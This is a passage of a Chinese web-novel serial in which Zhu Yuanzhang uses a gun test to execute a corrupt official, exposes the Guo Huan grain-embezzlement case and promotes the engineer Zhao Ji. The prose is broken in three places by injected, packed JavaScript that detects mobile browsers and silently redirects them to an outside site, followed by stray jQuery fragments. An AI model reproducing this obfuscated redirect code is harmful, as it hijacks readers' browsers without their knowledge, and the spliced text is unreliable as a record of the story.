“朱安宁,哪里可以试枪。” “试枪?后山那边就行……” “带路!” “是!” 朱安宁赶紧回话,然后跑到了门口做了个请的姿势。 差点下意识地脱口而出,太君这边请…… 幸好及时收了口…… 一群人有些浩荡。 出门那刻是一下就引来了村民们的注意。 几个满是血污的大叔一下就围了上来,是把毛骧在内的几个侍卫都吓得够呛。 幸好朱安宁眼疾手快。 “没事没事!是我村里的人!”他连忙制止了毛骧。 “哎呀朱爷,什么高升来着!诶老柳你有点墨水你来说。” “诶,步步高升!” 一群人拎着诸如鹿野鸡之类的野味,冲到了朱安宁周围,这便也是他们身上血污的来源。 成梁那是汗流浃背混在里面,他是一下就看出这群穿着常服的人,应当都是有些身份的,只是他嗓门远不如这几个大叔那么大。 “这些野味,一会让厨子做了!可补了!” “壮阳!壮阳!” “会不会说话,朱爷还没婚娶,壮来干嘛?!” “这提前不行嘛!” 十来个大叔是在那里闹个不停。 说真的,你要说朱安宁不感动,那是假的…… 但是你要说他不头疼……那更是假的。 自己这里可是一堆正事要做啊。 而且对着朱元璋说什么壮阳不壮阳一类话题……是不是有点神金啊…… 他连忙挥手制止了众人。 “谢谢大伙啦,一会吃好喝好!我这边还要招待些贵客,一会再和大伙聊嗷!”他匆忙推了推混在人群里的成梁。 “阿梁,把大伙带走带走,我这边有事……”他连忙低语了两句。 “好好。”被挤得动弹不得的成梁,连忙开口大喊:“大伙别挤在这里啦!那边需要帮忙!再不干活,赶不及开席啦!” “啊?开不了席!这可不成,成管事,哪要帮忙,俺来!” “大哥!俺也一样!” 几人的注意力里面就被转移了过去。 饶是如此。 远处的不少村民看到朱安宁出了院子,依旧是远远地就开始大喊着,想往这边聚集。 “朱爷!恭喜呀!俺家汉子呢?怎么还没把贺礼送上去!” “你家汉子打了什么好东西?” “哇,鹿!” “……” 于是,瞬间场面又变得闹哄哄起来。 朱安宁由汗流浃背,变成了汗流如注。 他赶紧给成梁撂了句话:“交给你了!” 便慌忙领着一众人,往院子后面的后山方向跑去。 几人也是知道场面有点乱,跟得很是紧。 在成梁的吼声中,和乱哄哄的朱爷呢,哎呀你挤个啥子嘛之类的喧闹声中。 他们逐渐脱离了现场…… 也幸好是一片混乱,居然没人注意到有个被绑着的人,真被朱棣死死地拖住。 “哥……哥……轻点,我不跑了,不跑了!” 他正在尝试和朱棣进行一些人类的沟通。 但是朱棣似乎已经不把他当做人类。 一众人再走几步,便是渺无人烟的后山山坡。 本来一众 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378789|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人是一言不发的。 朱元璋却突然开了口。 “朱安宁,备受村民之拥戴,诚为难遇之善地主。善待佃农,减轻田赋,常怀百姓疾苦,躬身亲耕,以身作则,非但为善地主,更为良臣也。” 老朱这一串话,那是相当文绉绉。 直接就是把朱安宁说得一愣,夸自己?能不能直接给钱……不要说这么多…… 但是吴庸和余文升确实心如明镜,这是在夸刚才的事情了,突然拽那么文绉绉,大抵……是要给朱安宁立什么牌坊了? “吴大人,记下来了么?” “记住了,余大人您也记一次……我怕往后陛下要我们复述……” “好好。” 朱元璋也没管吴庸和余文升的想法,他继续厉声说了下去:“而某些贪得无厌的 虫豸,与之一比,那是,早些死干净些比较好。 “……这段不用记……” “对对对……” 吴庸和余文升是走得汗流浃背,精神更是专注,他们也怕听漏些什么。 而听到朱元璋话语的人可不只是他们。 被朱元璋和毛骧夹在中间的麦至德等人,是脸色唰就白了起来,特别是麦至德,他听到死干净些的时候,那是差点脚下一软,摔下山去。 幸好郭桓扶了他一把。 “行了,来吧,赵集,咱让你开十枪,枪没事,你人就没事。” 站在山坡顶上的朱元璋,背着手,说道。 赵集也是明显有些愣神,他哪知道这么直接。 最后还是朱安宁推了他一把。 “赵大人!快去!” “哦哦哦!” 没有什么多余的动作,他抬枪就是往远处射击,毛骧怕出意外,还特意靠到了赵集的附近,他怕赵集会突然行不轨之事。 看见毛骧的动作,朱元璋也是微不可查地点了点头,这人,可以用! 十枪花不了多少时间,朱元璋也懒得去检验这枪的效果,他宫里那两杆早就试过了,他知道这枪有多么好用! 真因如此,他才会对这铁矿石一案如此上心,如此愤怒。 作为行军打仗的好手,他如何能不知道矿石品质对武器的影响,特别是火器。 现在有人告诉他,那些贪狗们,都把手伸到这里来了,新式火器如此优异如此卓越,却可能被这些贪狗们毁掉。 他如何不疯狂。 看见赵集射完最后一枪。 朱元璋有些迫不及待。 他直接走到了麦至德面前,有些狰狞。 “赵集已经证明了他自己,他的虞衡清吏司没问题,现在,轮到你了。” 话毕,他便又走回了朱标朱安宁的身边。 只听见朱标是一声叹息。 他还是不愿这种不审而杀的事情的,但是……现在好像已经阻止不了他父亲了。 而麦至德的脑子,早就随着赵集那一枪又一枪,变成了空白。 郭桓等人在他身后,更是忍不住战栗了起来。 今天……是在难逃了! 郭桓心中已经绝望,这根本就是死局!这朱元璋,是想要直接杀死他们! 只见他咬牙,轻声给那麦至德传了句话。 “把陛下……杀了……咱们说不定还能有活路!” 郭桓,说得很轻。 但是麦至德听见了,他身边的几个官员也都听见了。 几人的眼神,都由绝望,忽然变成了狂热! 他们的目光,都死死地盯住了麦至德。 实际上,冷静想一想,这个还有活路……是不存在的。 老朱没了,朱标还在…… 只是,他们现在,那还能管那么多。 麦至德,战战兢兢地接过了,毛骧递过来的枪。 那枪的火绳,早已点燃。 至于使用手法,他又不是智障,看赵集做法便知道,扣动扳机便能点燃火药。 于是,他咬牙,走到了那坡顶。 身后也传来了朱元璋的问话。 “朱安宁,这枪威力远比之前的火门枪要大吧。” “威力远非火门枪可比……” “所以若是品质不合格,会相当容易炸膛?” “是的……” “炸膛是什么样的啊,这边都是文官,他们应该不清楚炸膛啊,来来来,你好好说说。” 朱元璋咧嘴笑了起来。 “枪管无法承受火药而炸开……等于是近距离被小型炮弹击中……” “那应该会死的很痛苦,很惨吧。”朱元璋,又笑了起来。 笑得一众人,都有些,毛骨悚然。 “……”于是,朱安宁……没有回话。 他亦是,第一次,见到这伍爷,洪武爷,第一次露出这嗜杀的样子。 第一百八十六章 人固有一死 麦至德,战战兢兢地走到了指定的位置边上。 这次毛骧也只能硬着头皮靠过去……保护老朱的姿势还是要做出来的嘛。 他是听见炸膛的后果的了。 但是若是朱元璋或者朱标等人有个闪失,他也吃不了兜着走。 只是这家伙还算醒目,是站到了麦至德的左边,这样枪炸膛了,还有个人肉垫子。 朱元璋和朱标都没管麦至德脸色有多白。 也没有管郭桓他们面目有多狰狞。 明眼人都看得出来。 这所谓的试枪,其实就是行刑…… 朱棣怕姬友命逃跑,便也是一把扯着他,站到了朱安宁和朱元璋的身边。 对于麦至德死不死,他毫不关心。 甚至说……他会叫上一声好死。 盗卖国库矿石,若是自己的宝贝火绳枪造不出来,这人是不是死有余辜嘛。 朱棣挑眉看着那火绳点燃,燃烧的仿佛是麦至德的生命。 而麦至德像被抽空了灵魂般,站到了山坡的顶处。 他蓦然回头看了眼面目狰狞的郭桓,又看了眼满是微笑的朱元璋。 终于,还是突破了那道心理防线。 他对老朱,动了杀心。 要爷死是吧! 爷不过是贪了点钱银,那些贱民苦一点怎么了。 天下都太平了,他们能活着不就应该千恩万谢才对么。 而且,就算是活不下去了,死几个又何妨。 民和官,本来就是云泥之别! 所以,这该死的朱元璋,本就是一个老农。 没错,就是这样,他就是老农,阴差阳错,做了朱皇帝而已! 凭什么骑在自己头上拉屎! 死,自己也要拖个垫背的! 麦至德,难得的一次硬气,用在了这里。 多少有点讽刺。 他吞了吞口水,并没有马上轻举妄动,也是端着枪……学着赵集的射击姿势,等待着第一发子弹的发射。 不多时,一声巨大声音,又是在山间谷地回响。 没有出乎大家意料,就算那材料再垃圾,也不能说第一枪就炸。 麦至德做好了准备,第一次算是熟练操作,第二次,应该要做点事情了。 方才毛骧说不怕是假的。 朱安宁说的话他可是全听在耳中。 炸了的话等于小型炮弹……他可是人肉,所以听到巨响后,下意识地缩了缩,那是立马就给了麦至德可乘之机。 他决然地将枪口移到了朝向朱元璋的方向。 “狗皇帝,你算个什么东西!哈?”此刻的他,已经有点癫狂。 这个动作,自然是把毛骧和朱棣等人,吓得寒毛直竖。 郭桓等人却也是愈发狰狞。 若不是他们身后还有几个侍卫在。 他们也早就扑上去和朱元璋死过了。 人之将死,那是大家一起死好过我自己死。 随着麦至德的枪口抬起,那火绳已经通过扳机压到了火药仓内。 眼看弹药就要发射出来。 所有人的动作似乎都慢了下来。 朱元璋那是一副有些意外,又更是愤怒的表情。 毛骧则觉得自己可能要完了。 而朱安宁却感到有些滑稽。 牛魔的,这麦至德又不是日服第一枪男…… 怎么,现在很兴枪击大佬? 朱棣则是一脸怒容,只觉得这个麦至德怕不是不想活了……呃,他好像也活不了了。 朱棣做出的反应是把朱元璋撞开。 而朱标站得略远,一时间没能跑过来。 然后…… 没有然后,火绳枪的使用是需要练习的…… 这样压进去,其实根本还没烧到。 麦大人需要多加练习才行。 所以,子弹没有预期地发射。 朱棣自然是顺利地把朱元璋给撞开。 而毛骧也终于寻找到了机会,抽刀就想砍下去。 只是,不熟练归不熟练,这般捎下去,子弹终究会射出。 朱安宁在电光火石间,只能想到,牺牲某一人,幸福千万家。 于是,他毫不犹豫地把被绑了个严严实实的姬友命抽到了自己和朱棣面前,让姬友命用自己的后背,去面对那杆枪。 “嗯?”朱棣本来已经视死如归了。 结果一看自己朱哥居然给自己抽来人肉沙包,那是溢于言表地开心,直接就龟缩到了姬友命的身后。 终于,那一声巨响再次传出。 山坡上也如期传来了某人的哀嚎。 “啊!!!!!” 姬友命扑棱到了地面,叫得凄厉。 与此同时,毛骧的刀也砍了下去。 顿时麦至德后背也是血流如注。 平时锦衣玉食惯了的麦至德,哪能忍受这种剧痛,那是闷哼一声,就倒在了地上。 这一切,都发生得太快。 最先回过味来的自然还是朱元璋,久经沙场的他,直接冲上去就是一脚,确定那麦至德真的没有动弹后,把火绳枪一把抽了出来。 “毛骧,捆起来, 把枪放他身边继续点火开枪。” 这个命令下得很是简单粗暴。 却也足以让后面的郭桓等人从面目狰狞重新变成面无血色。 朱元璋迈着看似四平八稳的步子,很快又回到了朱安宁等人的身边。 只有朱安宁眼尖,看到了老朱的手,其实微微有点抖。 不过这种东西,那是打死都不能说…… 不然下一个死的就是他。 “父皇!没事吧!”朱标紧张地跑了过来。 朱棣也是一脸担忧:“父皇!” “咱没事!这个宵小,还奈何不了咱,老四,安宁小弟,你们很不错。” 这算是对朱棣和朱安宁反应的夸奖。 而只有姬友命还在那张大嘴巴。 “啊!我的屁股!我的屁股!” 此时的朱安宁和朱棣,也终于是有点闲心低下头来看这个倒霉蛋。 只见他的屁股,有血流缓缓流出,朱安宁仔细看了看,这可怜蛋真是倒霉又幸运,子弹是打横贯穿他屁股的……大概是子弹射出来的时候,这家伙在扭来扭去试图闪躲吧…… “想活命的话就别叫了,你也看出来了,这里的都是大佬,屁股痛点好过命没了……”朱安宁好心地提醒了一句。 姬友命这种老油条,那是听得懂懂地,连忙闭上了自己的嘴巴,但是脸庞还是痛苦得有些扭曲。 扭曲到朱安宁忍不住有些想笑,但是这个这么严肃的场合……笑是不对的…… 而远处,毛骧已经又一次点火。 这次,没有再出意外。 依旧是一声巨响,枪膛,炸了开来。 有个昏迷的人,就这样,成为了破烂的死人。 还温热的血,顺着草从,流了一地。 被风卷得有些腥。 这巨响是把郭桓等人,震得是肝胆欲裂……有些受不了麦至德惨状的人,甚至是吐了出来。 朱安宁早有心理预期,但是作为正常人,他还是不太敢看…… 多少有点恶心。 全场只有毛骧,得意地舔了舔嘴。 大员? 还不是死在了咱的手下! “虞衡清吏司铸造工艺无问题,赵集,无罪。至于麦至德,偷盗官矿,死有余辜,吴庸,可以记下了,另外加一条,麦至德罪大恶极,三族,均不得再入朝为官。” 前面的话,很是常规。 赵集终于是舒了口气,这弹劾一事,压在他心头已经很久了…… 虽然麦至德惨事的样子很恶心……但是能洗刷自己的冤屈,赵集表示死的好…… 而麦至德这个定罪,是不会有人反对的。 人都死了,还说什么…… 但是后面的就重要了。 罪大恶极,你就杀三族,罪恶滔天你就杀九族。 三族……不得入朝为官是什么意思? 听着好像仁慈了。 但是却是让吴庸都有些惊骇。 只有当官的人才知道,为官,是阶级的跨越,是人生的升华。 大家都是读书人出身,这不然入仕??? 不如杀了算了! 吴庸的笔触是不自觉地犹豫了一瞬间。 朱元璋却也没有催。 他只是指了指那烂布一样的麦至德,笑着对吴庸说了句。 “怎么?你觉得是咱太仁慈了?还是太过残酷?” “……陛下……只当是宽宏大量……” “那还不快写!” “是!” 被老朱骂了两句,吴庸那是立马就醒悟了过来。 什么文人不文人,在老朱的屠刀面前,自己就是个肉做的人! 他连忙开始花团锦簇地撰写老朱是如何英明神武地发现了麦至德的腌臜事,又是如何让麦至德认罪伏法。 一边的余文升,则是汗流浃背地在那打下手,两人是一阵忙活。 朱元璋最后,才回过头来。 看向了被侍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378790|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卫隐隐围起来的郭桓几人。 “你们是想试枪,还是认罪?” 老朱轻哼了句。 又是跳过规则的直接审判…… 这让朱标很是无奈,但是却也就是无可奈何。 他知道他老爹已经愤怒到了极致。 这种贪腐事情,是他最不能忍的。 听见朱元璋的闷哼,郭桓是还想硬抗。 结果他身后那几个官员,是直接就顶不住了。 甚至还有人一边吐一边跪下,开始大喊饶命。 “陛下!饶命啊!” “饶命啊!!!” 几个人翻来覆去就只会说这几个字。 最后郭桓,也是一脸死灰般,跪了下来。 口中说出的,自然,也是饶命。 平日拍马屁花团锦簇,说话阴阳怪气,讨论事情更是话里有话,自诩是人上人的士大夫们,在死到临头的时候,也就是只会说,饶命,仅此而已。 “哦,饶命啊。” 朱元璋点了点头。 “嗯,饶命。” 他绕到了朱安宁的身边,拍了拍他。 “朱詹事,你来说说,你庄子里收了多少灾民。” “拢共209户……” 朱安宁老实回答。 “那这二百零九户,来自何地?” “各地皆有……最多的是……” “好了,不必多说了,各地皆有是吧。” 朱元璋猛地抄起赵集用的那把枪,当烧火棍似地敲了下去,泄愤似地把郭桓砸了个踉跄。 鲜血就这般,沿着他的脑袋,流了下来。 但是郭桓却不敢吭声。 他知道,铁矿石这案子,已经死了一个麦至德,自己这群人,也就是牵连而已! 不至于全都得死吧!!!! 只要没有查到盗官粮一事,应该就还有生机!!! 郭桓此时也是陷入了癫狂状态,带着一群官员不断地磕头。 “还磕头?你们是没听见刚才咱问的是什么么?”朱元璋把枪递给了一边的朱棣,他突然也有点怕谁再给自己来一发…… “毛骧,来,念你查到的东西。” 朱元璋哼了一声,似乎已经是懒得在理这群已经将死之人。 毛骧一听自己有出场机会,那是直接激动到颤抖,他天生就喜欢这些事情,只能说术业有专攻。 毛骧快步走到了朱元璋面前,行了个礼,然后。 他连忙开始背诵全文。 “启禀陛下,臣已对各地粮食贪墨一案进行了深入的查探,此案之繁复,牵涉之广泛,贪污之巨额,实乃令人瞠目结舌,惊骇不已。” 毛骧一开口。 跪下的一众官员,便已经身子软了下来。 案发了…… 终究还是案发了。 怎么会如此突然呢? 郭桓百思不得其解,明明……只是贪墨铁矿石不是么,怎么突然变成了这粮草案!!! “郭桓,身为户部之侍郎,本应恪守职责,勤勉为国,守护财库。然而,其却利用职务之便,与布政使相互勾结,与地方州府县之官员狼狈为奸,其行径之恶劣,实在令人发指。” “呵呵,布政使啊布政使啊!”朱元璋长叹了一声。 “都已经抓了吧?” “回陛下,前日就已经发信了,各地总兵已经接到信件,此时应该已经全部抓获,共计,十二名布政使。” 这话说出来。 吴庸和余文升,是直接就目光呆滞了起来。 连朱棣都快要跳起。 十二名,布政使!!! 十二名! 那不是说大半大明的地方大员,都被抓了?! 都是毛骧抓的?! 几人都惊骇地看向了这平日不显山露水的亲卫…… 只觉得此时的他,有些恐怖。 毛骧确是愈发得意了起来。 他很享受这一刻! 他等这一刻很久了! “臣经过仔细查实,郭桓等人贪污的钱粮总计达精粮两千四百多万石,数目之巨,几乎相当于国库一年的收入。此外,他们还私吞了大量的金银和钱钞,数额之大,实在令人咋舌。此案涉及的官员之广,除了郭桓之外,还有赵瑁、王惠迪、王志、麦至德等朝廷命官也牵涉其中。” 他点兵似地,把跪下的人名点了个遍,连死了的那个,都没有忘记。 此时,朱安宁终于是忍不住,开始叹气。 郭桓案,真的开启了。 怕不是,要血流成河了啊! 第一百八十七章 当咱的官,习惯么? 没有人会忽略那个等字。 等代表了犯人远不止这些。 一时间,空气有些沉默。 最后还是朱元璋开了口。 “毛骧,带人,把这些虫豸拖回去,吴庸,余文升,你们三人一同提审吧,然后,那些所谓的布政使……哼,过几日应该就会押回来了,一并,审了……审清楚些,不管用什么方法,把他们盗取官粮的来龙去脉,给咱说清楚,咱可以饶他们家人一马,可以直接告诉他们!” 肉眼可见的,老朱显得有点累。 朱标知道,这段时间,因为这事,自己老爹是窝火得不行。 但是又不能马上处理。 这是很折磨的。 他也叹了口气,径直走到了吴庸和余文升旁边。 “毛骧是追查此次要案的人,刑部,刑讯司可以直接采纳他的证供,那些东西,我和父皇,都是看过的了,这批人,处理得快一些……毕竟,再过些时日,还有很多人等着你们来提审……” 他也是越说越恼火。 提审的犯人居然要排队。 这是尼玛的什么破事。 心情有些烦躁的他挥了挥手,示意毛骧吴庸等人可以撤退。 现场立马又响起了一阵求饶的声音。 是已经语无伦次的郭桓等人,又一次迸发了求生的意志。 但是等待他们的是毛骧的一阵快意殴打。 其他亲卫不敢动手。 但是他毛骧是敢的。 他踢了一脚后,发现朱元璋并没有什么反应,自然就知道了老板是默许的。 那踢得更是肆无忌惮。 “贪墨?” “对得起老百姓么。” “对得起陛下么!” 他一边踢一边骂。 似乎有了理由后,这殴打的感觉,变得更加爽利。 于是那群官员的求饶声变得凄厉了起来。 而毛骧也知道见好就收。 他大手一挥,便带着几个壮汉,拖死狗似地,把郭桓那几人,往山下拖去。 刚动身,朱元璋却也补了一句。 “你们换条路,今天是朱安宁升官宴的日子,这群人,看着晦气,不要经过庄子!麦至德也拖走。” 他给毛骧下达了更具体的指令。 毛骧是连忙说是。 不免也看了眼被朱元璋提到的朱安宁。 这人,好像很受陛下和太子信赖……和燕王又走得如此之近……再加上姓朱,得好好亲近才行…… 毛骧已经直接给朱安宁打了个标签。 而朱安宁却也被这未来锦衣卫头子是盯得一阵发毛。 幸好也就是盯了一下,毛骧很快就移开了目光。 至于还瘫在朱棣脚下的姬友命,那是所有人都忽略了他……只见他在那闭着眼睛,满脸痛苦,也不知道是死是活…… 待到人群走远。 朱元璋深吸了一口气。 拿起那质量合格的火绳枪,径直走到了坡顶。 “老四,这枪你觉得如何。” 他开口是向朱棣询问。 而不仅是朱棣,朱标也走了过去。 “父皇,火绳枪,射速其实并没有比火门枪,也就是咱们现在用的火器要快多少。但是!他单人即可操作,上手难度也要比火门枪简单不少!唯一的缺陷便是,相对于火门枪,要难造许多……” 朱棣是突然亢奋了起来。 要说整个永乐庄,谁最痴迷这火绳枪的话,赵集应该是排第一,那第二自然就是朱棣了。 远处的赵集,没有被唤到名字,只能和朱安宁站到一起。 赵集也是,沉默了半晌,开了口。 “朱大人,我赵集,欠你一个天大的人情!” “老赵,没必要这么客气……” 对于赵集突然的认真,朱安宁也是有些猝不及防。 倒不是不能理解,只是说,有点不知道怎么面对而已。 要是没那么熟还好,现在这个差不多天天是朝夕相处的老赵,突然来点怎么正式的话语。 朱安宁还真就有些难顶。 但是赵集却还是异常认真。 “朱大人,于公,你的高炉,焦炭,火绳枪,还有未曾造出的燧发枪,都是足以改天换日的东西……你就这般教了给我,给工匠们……这……这是何等的伟大!” 赵集一如既往地嘴笨,明明满腹经纶,好歹也是个文臣,但是夸人确实泛善可陈,和礼部尚书形成了鲜明的对比…… “于私,你救了我。” 于是,他说得超级直接。 行礼,也是行的异常认真。 朱安宁也是,受了他那一拜后,才连忙扶他起来。 他知道若是阻止这个某种意义上可以比肩方孝孺的犟种,怕不是又是没完没了。 索性坦然接受。 “赵大人,我也是有私心的。” “私心?” 朱安宁和赵集在这聊着。 远处的朱元璋,已经在朱棣朱标的陪同下开始试枪。 宫里其实早就有了这枪,只不过应天府里,朱元璋始终没找到合适的时间和地方去好好试一试。 现在终于有了这个机会,他自然不肯放过。 那举枪的姿势,虽然还很是生疏。 但是作为打仗的天才,他一下就get到了这枪的具体用法,比起那麦至德是要高上不少的。 那麦至德也就是仅仅能把弹丸打出来而已。 老朱可是一下就摸索清楚了如何瞄准,换弹,点火。 他没有向远方空放。 而是转过身,瞄准了远处的树木。 待到火绳燃到合适的位置。 扳机扣下,压入弹药舱剧烈燃烧过后。 弹丸在轰鸣中经过那细长的枪管,加速到肉眼不可见的速度,直奔树干。 而轰鸣还在山谷回响之时,众人已然能看到远处的树木,摇晃了一下。 明显,朱元璋是打中了。 “这般手感!老四!!每一把都有这水准?” “有的!“ 朱棣被Q到,那是开心不已。 他连忙开始介绍这火绳枪的更具体情况。 朱标在一边也是认真的听了起来。 三人都知道,不出意外的话,这是可以改变战争形态的东西! 朱安宁看着这三父子。 也是知道,自己默默做的事情,原来真的能改变历史进程……至于是好是坏……他无从得知…… 他只知道,如果不去做这些事,他可能会更后悔。 瞄多两眼,他又把目光拉回到了赵集身上。 他的私心,也正与这些事情挂钩。 “赵大人,你是我见过少有的,对工部各类技艺技巧,都有所涉猎的人……有你存在,才是国之幸事,况且你本来就是无辜……我再独善其身,也不可能说眼睁睁看着你这般良臣巧匠,莫名其妙死在这莫须有的事情上!” 良臣,和巧匠,虽然都是褒义词,但是本就不该出现在一起。 这代表了完全不同的两个阶级,士大夫阶级和匠籍…… 但是赵集听完,却是咧嘴一笑。 他听懂了朱安宁的意思。 “怎么?安宁小弟这是惜才?人人只道我老赵是工部的一头老黄牛,任劳任怨,你却是第一个说夸我像工匠的人。” 赵集,改变了对朱安宁的称呼。 “嗯?之前难道没人说老赵你像工匠?” “怎么没有,人人都说我像,包括陛下……包括太子。” “那不就是咯。” “但是,他们只是我说像,而你,是夸我像。”赵集嘿嘿一笑,突然背过了手去。 作为工部大员,他不知为何,天生亲近那些工匠,对这种技艺那是信手拈来。 而恰也是这样,他遭受了无数非议。 若不是朱标一直力挺他,甚至朱元璋都想要把他换掉。 而赵集这些时日,之所以对朱安宁如此亲近。 恰恰是,因为朱安宁大概,是唯一一个理解他,并且还很愿意和他一起钻研那些旁人看来乱七八糟,但是他却知道有多重要的东西……的官。 虽然之前只是个芝麻官,现在他是少詹事,已经是大员了。 只见赵集叹了口气。 “只是不知,到时安宁小弟赴任后,还能否有时间,与我一起,把那弗朗机炮……燧发枪,给弄出来……” “啊?我是去给太子爷干活而已,又不是不住在永乐庄了,你那铁冶还在那里,我迟早是要把我知道的玩意,全部造出来的!” “当真?” “必须的啊!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378791|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 朱安宁也是咧嘴一笑。 赵集的能力,他一清二楚。 说起来,要是没有这人,他能不能把火绳枪弄出来,还真的不好说。 毕竟这玩意不是说给了说明书,就能咔咔给你搓出来的东西…… 怎么地,也是需要能工巧匠的。 赵集自己本身就是,他还善于用,所以朱安宁无论如何,都是不想他出事的。 此时,远处的朱元璋,又试了一枪。 这次他开完枪后,那是直奔百步外的树木。 盯了半晌后,又踱着步子慢慢走了回来。 他看了看朱标朱棣,又瞄了眼朱安宁和赵集。 又是沉默了片刻。 把枪丢给朱棣后才开口。 “这枪远非火门枪可比,老四刚才提出了三排人交替射击……这是谁想出来的。” “是朱哥!朱哥!”而朱棣却是马上叫出了声。 其实这就是开工天物里面描述的阵型,朱安宁给他看过而已。 朱棣则是想当然地觉得这就是朱安宁的想法。 “呃……”朱安宁也是被朱棣这么一嚎,整的有点无语。 想肯定不是他想出来的。 但是这他也说不清是谁想的。 总不能又是域外大儒薛金星吧……人薛金星也不管枪械啊。 或者说是米哈伊尔?季莫费耶维奇?卡拉什尼科夫吧……这分段射击应该是AK出来之前早就有提出的啊。 不过现在不是扯这个的时候。 老朱已经把目光投向了自己。 朱安宁只得连忙解释。 “火绳枪的射速并没有明显提高,但是他 的好处是显而易见的,操作简便不说,单兵的携弹量是提高了很多的。” “携弹量?” “就是携带弹丸的数量……当然了,火绳枪的威力和精准度也不是火门枪可比的……” “继续说……” “不同于火门枪需要两人操作,火绳枪一人操作即可,这分段射击要比火门枪方便得多,一排射击完,第二排补上,一排补充弹药,接着三排四排依次循环,这样可以达到最大火力,也可以发挥出火绳枪射程远的特性。” “……”朱元璋听完后,又是一阵沉默,他似乎在思考,过了不知多久,他才开的口:“你说的咱都懂,火门枪之前也采取过这种阵型,不过像你说的,火门枪操作繁琐,射程又近,那是循环不了两次,就会被人冲散,然后被迫近战。说起来火绳枪真是完美解决了火门枪的缺点!” 老朱顿了顿,那是咧嘴笑了起来:“那么,你们两个,什么时候能够交与我,足够凑出分段射击阵型的火绳枪呢?” 这一笑,是把赵集和朱安宁直接就笑僵在了那里。 分段射击,那就是人手一把枪…… 现在造了一月了。 也就是那么几十把…… 开玩笑呢! 最后是赵集先忍不住……他张了张嘴,想说又不是很敢说的样子。 那是直接就把朱元璋给逗乐。 “行了,赵集,工部尚书,你觉得你当得不当得?” “陛下!”赵集那是突然一惊,他不知道为何朱元璋会突然说这样的话语,毕竟这里不是什么正式场合…… “我把工部给你,你给咱,造枪,狠狠地造,我看要到这火绳枪,能够在沐英那边,大显神威!!!能听懂!” 朱元璋目光眺向了北方。 那是沐英和蓝玉征战的方向。 他们的先头部队,已经开始和元残部接触。 说是残部,其实经过那么些年的休养生息,他们的战斗力已经恢复了一定的水准。 所以饶是沐英调兵遣将中已经占据了地利,这开头一战,仍是不可避免地,打得胶着。 双方都知道,士气很重要,第一仗,不能输! 而回到这应天府郊外的山坡上,赵集听着朱元璋的话语,那是心脏砰砰跳了起来。 工部尚书,人人都知道这是大员,但是对赵集而言,这还代表了他可以更好地分配工部的资源!这才是他求之不得的事情。 “臣,定不负陛下信任!”赵集那是深深一拜,伏倒在了地上。 而此时,朱元璋却也把目光转向了朱安宁。 “安宁小弟,当咱的官,还习惯么?” 第一百八十八章 这有一门生意 咱的官,当得习惯么。 这个问题。 是把赵集弄得有点懵逼。 但是朱棣和朱标,却听得笑了起来。 他们可是知道事情来龙去脉的。 朱安宁之前每次一提到当官就要死要活的样子。 而现在却已经是詹士府的人…… 这就很有意思了,两人都饶有兴致地看向了朱安宁,就想看他会怎么回答。 于是,四人,包括朱元璋的目光,都落到了朱安宁的身上。 而朱安宁,却往前走了一步。 那是表现得一脸正气。 倒是有点唬人的样子。 朱元璋也敛了敛表情。 然后,终于等来了朱安宁的回应。 “洪武帝之治国,实乃英明神武。开创明朝,挽救万民于水火,使九州焕发新生。整顿吏治,使得朝纲严明,百官敬畏。制定《大明律》,国中秩序井然,百姓安居乐业。威震四方,使得外邦敬畏,不敢轻举妄动。更兼重视农业,兴修水利,减轻农民负担。” 这一通夸,直接就是想到什么说什么…… 却也是直接就把朱元璋给整不会了…… 朱安宁看着有效,便连忙继续说了下去。 “能做洪武朝的官!实乃吾三生有幸,八辈子修来之福分!其恩德深厚,犹如天高海深。吾愿为洪武帝肝脑涂地,在所不辞,以表吾之忠诚与敬仰。愿吾皇万岁,万岁,万万岁!” 说罢,那是直接就想伏到地上,却一不小心踩到某个还趴在地上的人。 “唉哟……”姬友命是完全不敢叫唤,但是实在是被踩得受不了了,加之屁股还在流血,那是难受加难受,难受的平方。 而众人聊天的内容,饶是他姬友命再平民,也是听出来了,感情这群人是皇帝加大臣啊……自己是造了什么孽,接到了这种活! 这活!现在来看,是让自己有点难活了啊…… 他趴在那里,悲愤交加,最后,又是昏死了过去。 “啊……不好意思……我去隔壁……啊……这有血……” 而朱安宁,这伏的动作,最后,只做了一半……他看着草地上的血,还有晕死过去的姬友命,那是僵在了那里,显得有些二。 于是这马屁便变得滑稽了起来。 朱元璋,盯了朱安宁许久,最后也是哈哈大笑了起来。 “行了行了,不必多礼了,你啊,是不是更适合去礼部呢?”朱元璋不由得想起了前几日,试吃土豆时那礼部尚书的马屁…… “啊?” 